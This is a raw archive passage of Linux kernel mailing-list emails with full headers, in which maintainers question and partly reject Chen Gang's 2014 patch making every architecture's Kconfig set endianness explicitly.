	for glppe-linuxppc-embedded-2@m.gmane.org; Fri, 15 Aug 2014 00:10:41 +0200
Original-Received: from ozlabs.org (ozlabs.org [103.22.144.67])
	by lists.ozlabs.org (Postfix) with ESMTP id 995541A1859
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Fri, 15 Aug 2014 08:10:39 +1000 (EST)
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Original-Received: from mail-vc0-x235.google.com (mail-vc0-x235.google.com
 [IPv6:2607:f8b0:400c:c03::235])
 (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 2C4081A0610
 for <linuxppc-dev@lists.ozlabs.org>; Fri, 15 Aug 2014 04:27:16 +1000 (EST)
Original-Received: by mail-vc0-f181.google.com with SMTP id lf12so1887525vcb.12
 for <linuxppc-dev@lists.ozlabs.org>; Thu, 14 Aug 2014 11:27:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113;
 h=mime-version:in-reply-to:references:date:message-id:subject:from:to
 :cc:content-type;
 bh=jmeBwov4/qrxMSf7MGznNkUf9pULXNsIJ7Mq5tkdDZ4=;
 b=I1PZGB6XBoapDerCDejyMkcOhoG2gLi4YUDKQgBM31GgkBfs7O1IGJtJy6o1/LwFEt
 LAHPlpfLxd7fjvG5NkxbRczPe7VHX0WMyv+rZQGLOuTQ+3S506qGw3Oj7ANTK+pZUsr5
 NA1aMvAtkozuBKoWKOJzZbCRuu5m0QAZIxHjhXf85G84aMk6kuzKgvbgv6OzcVJRgmgo
 ANtjseEzBRLYgiCUlZD3mB35zXYhgiQ6AZWDl44ShckDvxBqnOgi1kKIzG5blRNwtYMy
 yUWjT+IKtxOln5s5/wTJ8gLZCabYOO8mHIiAShlz5EtVxbb0yxrrXTA0ezsNfrwD1lHb
 25gA==
X-Received: by 10.52.15.8 with SMTP id t8mr9921462vdc.18.1408040832928; Thu,
 14 Aug 2014 11:27:12 -0700 (PDT)
Original-Received: by 10.52.188.3 with HTTP; Thu, 14 Aug 2014 11:27:12 -0700 (PDT)
In-Reply-To: <C2D7FE5348E1B147BCA15975FBA230753C4BA528@IN01WEMBXA.internal.synopsys.com>
X-Mailman-Approved-At: Fri, 15 Aug 2014 08:08:27 +1000
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:72816 gmane.linux.ports.mips.general:43255 gmane.linux.ports.openrisc:514 gmane.linux.ports.sparc:19438 gmane.linux.ports.hexagon:748 gmane.linux.ports.alpha:2347 gmane.linux.uml.user:14702 gmane.linux.kernel.metag:244 gmane.linux.ports.arm.kernel:348656 gmane.linux.ports.ia64:24121 gmane.linux.ports.parisc:5974 gmane.linux.kernel:1768363 gmane.linux.uml.devel:14558
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/72816>

--===============1691057985918365743==
Content-Type: multipart/alternative; boundary=485b397dd5e5ad1cec05009b0d88

--485b397dd5e5ad1cec05009b0d88
Content-Type: text/plain; charset=UTF-8

I don't think it's necessary, what's the benfit?




2014-08-15 2:21 GMT+08:00 Vineet Gupta <Vineet.Gupta1@synopsys.com>:

> On Thursday 14 August 2014 09:55 AM, Chen Gang wrote:
> > Normal architectures:
> >
> >  - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc
> >
> >  - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn10300,
> >                   score, unicore32, x86
> >
> >  - Choose in config time: arc, arm, arm64, c6x, m32r, mips, powerpc, sh
> >
> > Special architectures:
> >
> >  - Deside by compiler: microblaze, tile, xtensa.
> >
> >  - Deside by building host: um
> >
> >  - Next, need improve Kbuild to probe endian to deside whether need mark
> >    __BUILDING_TIME_BIG_ENDIAN__ before real config.
> >
> > Another improvements:
> >
> >  - score: use '\t' instead of ' '.
> >
> >  - s390: sort the select value in alpha order.
> >
> > Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
> > ---
> >  arch/alpha/Kconfig      |  1 +
> >  arch/arc/Kconfig        |  1 +
> >  arch/arm/Kconfig        |  1 +
> >  arch/arm64/Kconfig      |  1 +
> >  arch/avr32/Kconfig      |  1 +
> >  arch/blackfin/Kconfig   |  1 +
> >  arch/c6x/Kconfig        |  1 +
> >  arch/cris/Kconfig       |  1 +
> >  arch/frv/Kconfig        |  1 +
> >  arch/hexagon/Kconfig    |  1 +
> >  arch/ia64/Kconfig       |  1 +
> >  arch/m32r/Kconfig       |  1 +
> >  arch/m68k/Kconfig       |  1 +
> >  arch/metag/Kconfig      |  1 +
> >  arch/microblaze/Kconfig |  2 ++
> >  arch/mips/Kconfig       |  1 +
> >  arch/mn10300/Kconfig    |  1 +
> >  arch/openrisc/Kconfig   |  1 +
> >  arch/parisc/Kconfig     |  1 +
> >  arch/powerpc/Kconfig    |  1 +
> >  arch/s390/Kconfig       |  3 ++-
> >  arch/score/Kconfig      | 21 +++++++++++----------
> >  arch/sparc/Kconfig      |  1 +
> >  arch/tile/Kconfig       |  2 ++
> >  arch/um/Kconfig.common  |  2 ++
> >  arch/unicore32/Kconfig  |  1 +
> >  arch/x86/Kconfig        |  1 +
> >  arch/xtensa/Kconfig     |  2 ++
> >  init/Kconfig            |  6 ++++++
> >  29 files changed, 49 insertions(+), 11 deletions(-)
> >
> > diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
> > index b7ff9a3..1cb7426 100644
> > --- a/arch/alpha/Kconfig
> > +++ b/arch/alpha/Kconfig
> > @@ -27,6 +27,7 @@ config ALPHA
> >       select MODULES_USE_ELF_RELA
> >       select ODD_RT_SIGACTION
> >       select OLD_SIGSUSPEND
> > +     select CPU_LITTLE_ENDIAN
> >       help
> >         The Alpha is a 64-bit general-purpose processor designed and
> >         marketed by the Digital Equipment Corporation of blessed memory,
> > diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
> > index 9596b0a..e939abd 100644
> > --- a/arch/arc/Kconfig
> > +++ b/arch/arc/Kconfig
> > @@ -35,6 +35,7 @@ config ARC
> >       select OF_EARLY_FLATTREE
> >       select PERF_USE_VMALLOC
> >       select HAVE_DEBUG_STACKOVERFLOW
> > +     select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN
>
> It is not clear what exactly are you trying to fix. What doesn't work w/o
> this
> patch !
>
> -Vineet
>

--485b397dd5e5ad1cec05009b0d88
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr"><div>I don&#39;t think it&#39;s necessary, what&#39;s the =
benfit?</div><div><br></div><div><br></div></div><div class=3D"gmail_extra"=
><br><br><div class=3D"gmail_quote">2014-08-15 2:21 GMT+08:00 Vineet Gupta =
<span dir=3D"ltr">&lt;<a href=3D"mailto:Vineet.Gupta1@synopsys.com" target=
=3D"_blank">Vineet.Gupta1@synopsys.com</a>&gt;</span>:<br>
<blockquote class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1p=
x #ccc solid;padding-left:1ex"><div class=3D"HOEnZb"><div class=3D"h5">On T=
hursday 14 August 2014 09:55 AM, Chen Gang wrote:<br>
&gt; Normal architectures:<br>
&gt;<br>
&gt;=C2=A0 - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc<br=
>
&gt;<br>
&gt;=C2=A0 - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn=
10300,<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0sc=
ore, unicore32, x86<br>
&gt;<br>
&gt;=C2=A0 - Choose in config time: arc, arm, arm64, c6x, m32r, mips, power=
pc, sh<br>
&gt;<br>
&gt; Special architectures:<br>
&gt;<br>
&gt;=C2=A0 - Deside by compiler: microblaze, tile, xtensa.<br>
&gt;<br>
&gt;=C2=A0 - Deside by building host: um<br>
&gt;<br>
&gt;=C2=A0 - Next, need improve Kbuild to probe endian to deside whether ne=
ed mark<br>
&gt;=C2=A0 =C2=A0 __BUILDING_TIME_BIG_ENDIAN__ before real config.<br>
&gt;<br>
&gt; Another improvements:<br>
&gt;<br>
&gt;=C2=A0 - score: use &#39;\t&#39; instead of &#39; &#39;.<br>
&gt;<br>
&gt;=C2=A0 - s390: sort the select value in alpha order.<br>
&gt;<br>
&gt; Signed-off-by: Chen Gang &lt;<a href=3D"mailto:gang.chen.5i5j@gmail.co=
m">gang.chen.5i5j@gmail.com</a>&gt;<br>
&gt; ---<br>
&gt;=C2=A0 arch/alpha/Kconfig=C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/arc/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/arm/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/arm64/Kconfig=C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/avr32/Kconfig=C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/blackfin/Kconfig=C2=A0 =C2=A0|=C2=A0 1 +<br>
&gt;=C2=A0 arch/c6x/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/cris/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 1 +<br>
&gt;=C2=A0 arch/frv/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/hexagon/Kconfig=C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/ia64/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 1 +<br>
&gt;=C2=A0 arch/m32r/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 1 +<br>
&gt;=C2=A0 arch/m68k/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 1 +<br>
&gt;=C2=A0 arch/metag/Kconfig=C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/microblaze/Kconfig |=C2=A0 2 ++<br>
&gt;=C2=A0 arch/mips/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 1 +<br>
&gt;=C2=A0 arch/mn10300/Kconfig=C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/openrisc/Kconfig=C2=A0 =C2=A0|=C2=A0 1 +<br>
&gt;=C2=A0 arch/parisc/Kconfig=C2=A0 =C2=A0 =C2=A0|=C2=A0 1 +<br>
&gt;=C2=A0 arch/powerpc/Kconfig=C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/s390/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 3 ++-<br>
&gt;=C2=A0 arch/score/Kconfig=C2=A0 =C2=A0 =C2=A0 | 21 +++++++++++---------=
-<br>
&gt;=C2=A0 arch/sparc/Kconfig=C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/tile/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0|=C2=A0 2 ++<br>
&gt;=C2=A0 arch/um/Kconfig.common=C2=A0 |=C2=A0 2 ++<br>
&gt;=C2=A0 arch/unicore32/Kconfig=C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/x86/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 1 +<br>
&gt;=C2=A0 arch/xtensa/Kconfig=C2=A0 =C2=A0 =C2=A0|=C2=A0 2 ++<br>
&gt;=C2=A0 init/Kconfig=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0 |=C2=A0 6 =
++++++<br>
&gt;=C2=A0 29 files changed, 49 insertions(+), 11 deletions(-)<br>
&gt;<br>
&gt; diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig<br>
&gt; index b7ff9a3..1cb7426 100644<br>
&gt; --- a/arch/alpha/Kconfig<br>
&gt; +++ b/arch/alpha/Kconfig<br>
&gt; @@ -27,6 +27,7 @@ config ALPHA<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0select MODULES_USE_ELF_RELA<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0select ODD_RT_SIGACTION<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0select OLD_SIGSUSPEND<br>
&gt; +=C2=A0 =C2=A0 =C2=A0select CPU_LITTLE_ENDIAN<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0help<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0The Alpha is a 64-bit general-purpose=
 processor designed and<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0 =C2=A0marketed by the Digital Equipment Cor=
poration of blessed memory,<br>
&gt; diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig<br>
&gt; index 9596b0a..e939abd 100644<br>
&gt; --- a/arch/arc/Kconfig<br>
&gt; +++ b/arch/arc/Kconfig<br>
&gt; @@ -35,6 +35,7 @@ config ARC<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0select OF_EARLY_FLATTREE<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0select PERF_USE_VMALLOC<br>
&gt;=C2=A0 =C2=A0 =C2=A0 =C2=A0select HAVE_DEBUG_STACKOVERFLOW<br>
&gt; +=C2=A0 =C2=A0 =C2=A0select CPU_LITTLE_ENDIAN if !CPU_BIG_ENDIAN<br>
<br>
</div></div>It is not clear what exactly are you trying to fix. What doesn&=
#39;t work w/o this<br>
patch !<br>
<span class=3D"HOEnZb"><font color=3D"#888888"><br>
-Vineet<br>
</font></span></blockquote></div><br></div>

--485b397dd5e5ad1cec05009b0d88--

--===============1691057985918365743==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: inline

X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18KTGludXhwcGMt
ZGV2IG1haWxpbmcgbGlzdApMaW51eHBwYy1kZXZAbGlzdHMub3psYWJzLm9yZwpodHRwczovL2xp
c3RzLm96bGFicy5vcmcvbGlzdGluZm8vbGludXhwcGMtZGV2

--===============1691057985918365743==--


From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian explicitly
Date: Fri, 15 Aug 2014 06:14:38 +0800
Lines: 63
Approved: news@gmane.org
Message-ID: <53ED34CE.3040001@gmail.com>
References: <53ECE9DD.80004@gmail.com> <20140814180418.GA20777@linux-mips.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408054549 4913 80.91.229.3 (14 Aug 2014 22:15:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2014 22:15:49 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, akpm@linux-foundation.org,
        rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>, linux@arm.linux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com,
        hskinnemoen@gmail.com, egtvedt@samfundet.no, realmz6@gmail.com,
        msalter@redhat.com, a-jacquiot@ti.com, starvik@axis.com,
        jesper.nilsson@axis.com, dhowells@redhat.com, rkuo@codeaurora.org,
        tony.luck@intel.com, fenghua.yu@intel.com, takata@linux-m32r.org,
        james.hogan@imgtec.com, Michal Simek <monstr@monstr.eu>,
        yasutake.koichi@jp.panasonic.com, jonas@southpole.se,
        jejb@parisc-linux.org, deller@gmx.de,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        paulus@samba.org, mpe@ellerman.id.au,
        Mart
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Aug 15 00:15:33 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XI3Ix-0000Rh-LG
	for sgi-linux-mips@gmane.org; Fri, 15 Aug 2014 00:15:31 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53626 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6855142AbaHNWP3AmfEO (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 15 Aug 2014 00:15:29 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 15 Aug 2014 00:15:15 +0200 (CEST)
Original-Received: from mail-pd0-f178.google.com ([209.85.192.178]:58777 "EHLO
        mail-pd0-f178.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6855122AbaHNWPKEDM0c (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 15 Aug 2014 00:15:10 +0200
Original-Received: by mail-pd0-f178.google.com with SMTP id w10so2326858pde.9
        for <multiple recipients>; Thu, 14 Aug 2014 15:15:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=TGPFs9RQ2cUF5I1wQWl0OPsiei0CYNVN8jj+AO+LXqc=;
        b=o7MLWAEKuMX/JjdrMZND/OFKuXjUuHTbU8nvD5SWQnzX8Su5hGFE+k+s7WS/bqChjy
         m12C/38Cn39gZyHTajCZ0GOHZbBXP+y0aeslhPl2Rt4mgL2oJgy6ijvO/9tlLwAhfHro
         lEze1o9ZR8kYMJMLtBrf1GT0tTkgIKq+IABm1OgNjycINuUjdU04nz4A0RTWiIiU4Ap6
         lPvGqkPQn7X/DnShnvlfQrzrZkZU6m8dQGFlAdDOx3Zs6G6ejJbTUT7ngzjWs78eWz/1
         WMMkmhxqRnstgWRTQVoz6cnhxQsG9+HHo9XEGOMEyfUu1AkM6JkAfZp7U2zHUs+kKqtv
         yLWg==
X-Received: by 10.68.215.106 with SMTP id oh10mr7160432pbc.98.1408054503283;
        Thu, 14 Aug 2014 15:15:03 -0700 (PDT)
Original-Received: from [192.168.1.102] ([223.72.65.32])
        by mx.google.com with ESMTPSA id pk15sm9338739pdb.49.2014.08.14.15.14.47
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Thu, 14 Aug 2014 15:15:02 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <20140814180418.GA20777@linux-mips.org>
X-archive-position: 42109
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gang.chen.5i5j@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:43256 gmane.linux.ports.alpha:2348 gmane.linux.kernel:1768365 gmane.linux.ports.arm.kernel:348657 gmane.linux.ports.hexagon:749 gmane.linux.ports.ia64:24122 gmane.linux.ports.m68k:6075 gmane.linux.kernel.metag:245 gmane.linux.ports.openrisc:515 gmane.linux.ports.parisc:5975 gmane.linux.ports.ppc64.devel:104338 gmane.linux.ports.sparc:19439 gmane.linux.uml.devel:14559 gmane.linux.uml.user:14703
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/43256>

On 08/15/2014 02:04 AM, Ralf Baechle wrote:
> On Fri, Aug 15, 2014 at 12:54:53AM +0800, Chen Gang wrote:
> 
>> Normal architectures:
>>
>>  - Big endian: avr32, frv, m68k, openrisc, parisc, s390, sparc
>>
>>  - Little endian: alpha, blackfin, cris, hexagon, ia64, metag, mn10300,
>>                   score, unicore32, x86
>>
>>  - Choose in config time: arc, arm, arm64, c6x, m32r, mips, powerpc, sh
> 
> Nak for MIPS.  On MIPS Kconfig already always sets one of CPU_BIG_ENDIAN
> and CPU_LITTLE_ENDIAN depending on platforms and where both endianess are
> supported by a platform, user choice:
> 
> config FOO
> 	bool "foo"
> 	select SYS_SUPPORTS_LITTLE_ENDIAN
> 
> config FOO
> 	bool "foo"
> 	select SYS_SUPPORTS_BIG_ENDIAN
> 	select SYS_SUPPORTS_LITTLE_ENDIAN
> [...]
> choice
>         prompt "Endianess selection"
>         help
>           Some MIPS machines can be configured for either little or big endian
>           byte order. These modes require different kernels and a different
>           Linux distribution.  In general there is one preferred byteorder for a
>           particular system but some systems are just as commonly used in the
>           one or the other endianness.
> 
> config CPU_BIG_ENDIAN
>         bool "Big endian"
>         depends on SYS_SUPPORTS_BIG_ENDIAN
> 
> config CPU_LITTLE_ENDIAN
>         bool "Little endian"
>         depends on SYS_SUPPORTS_LITTLE_ENDIAN
>         help
> 
> endchoice
> 

OK, thanks, I assumes when support both endian, the default choice is
CPU_BIG_ENDIAN, although no default value for choice (originally, I did
worry about it).

> So I think you can just drop the MIPS segment from your patch.
> 

If what I assumes is correct, what you said sounds reasonable to me.


Thanks.
-- 
Chen Gang

Open share and attitude like air water and life which God blessed



From - Thu Nov 08 21:10:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.uml.devel,gmane.linux.uml.user
Subject: Re: [PATCH v3] arch: Kconfig: Let all architectures set endian explicitly
Date: Fri, 15 Aug 2014 06:22:35 +0800
Lines: 40
Approved: news@gmane.org
Message-ID: <53ED36AB.8020703@gmail.com>
References: <53ECE9DD.80004@gmail.com> <C2D7FE5348E1B147BCA15975FBA230753C4BA528@IN01WEMBXA.internal.synopsys.com> <CAF0htA6qfhyVXEuLbruiz+dfxnieF-309NdxSDhoEYHM=aBhQA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1408055016 10765 80.91.229.3 (14 Aug 2014 22:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2014 22:23:36 +0000 (UTC)
Cc: Vineet Gupta <Vineet.Gupta1@synopsys.com>,
        Arnd Bergmann <arnd@arndb.de>,
        "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
        "rth@twiddle.net" <rth@twiddle.net>,
        "ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
        "mattst88@gmail.com" <mattst88@gmail.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Jean Delvare <jdelvare@suse.de>,
        "linux@arm.linux.org.uk" <linux@arm.linux.org.uk>,
        "catalin.marinas@arm.com" <catalin.marinas@arm.com>,
        "will.deacon@arm.com" <will.deacon@arm.com>,
        "hskinnemoen@gmail.com" <hskinnemoen@gmail.com>,
        "egtvedt@samfundet.no" <egtvedt@samfundet.no>,
        "realmz6@gmail.com" <realmz6@gmail.com>,
        "msalter@redhat.com" <msalter@redhat.com>,
        "a-jacquiot@ti.com" <a-jacquiot@ti.com>,
        "starvik@axis.com" <starvik@axis.com>,
        "jesper.n
To: Lennox Wu <lennox.wu@gmail.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Aug 15 00:23:20 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XI3QV-0003PK-Tu
	for sgi-linux-mips@gmane.org; Fri, 15 Aug 2014 00:23:20 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:53639 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6855157AbaHNWXRwh31A (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 15 Aug 2014 00:23:17 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 15 Aug 2014 00:23:04 +0200 (CEST)
Original-Received: from mail-pd0-f180.google.com ([209.85.192.180]:39392 "EHLO
        mail-pd0-f180.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S6855122AbaHNWW7owvKB (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Fri, 15 Aug 2014 00:22:59 +0200
Original-Received: by mail-pd0-f180.google.com with SMTP id v10so2315380pde.39
        for <multiple recipients>; Thu, 14 Aug 2014 15:22:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :references:in-reply-to:content-type:content-transfer-encoding;
        bh=3nzQZTqA3gZs/buEqy2I49eTrxCes76fxE0EE0gouqQ=;
        b=Nidk833Lh8/nl7p3QYwcytHHrbMDJWOTtQbEMUMc8F41EiXums5/AiXulOq5nCFATw
         pGngNZFql4NenkVbkLndpej7YSlwmx/xmnxKYnVQPRiq+mseOTDFVv2L6sB47Ri8xloU
         mxBfvU0ZjGfAz3Nb++aLwY7jAVtHqX2IPqFFrNdzZ0lVdiyZQLz0taIYS7Ju9a/3rhpi
         lc5tuoD1L3k2aLYEHI8xbEZ6RRhbb3Z1JuaxSyTNSzo0rxXFTaA+V1P7Z3khh7CfRfLT
         60naZP6z5REzRQVCduBHAiVRiTgkVrCb5J4WHHn688cMfJoWRCg35eE/6yswBQHHWaWT
         5Dbg==
X-Received: by 10.70.60.169 with SMTP id i9mr4605530pdr.166.1408054972975;
        Thu, 14 Aug 2014 15:22:52 -0700 (PDT)
Original-Received: from [192.168.1.102] ([223.72.65.32])
        by mx.google.com with ESMTPSA id rn7sm21342672pab.39.2014.08.14.15.22.35
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Thu, 14 Aug 2014 15:22:52 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
In-Reply-To: <CAF0htA6qfhyVXEuLbruiz+dfxnieF-309NdxSDhoEYHM=aBhQA@mail.gmail.com>
X-archive-position: 42110
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: gang.chen.5i5j@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
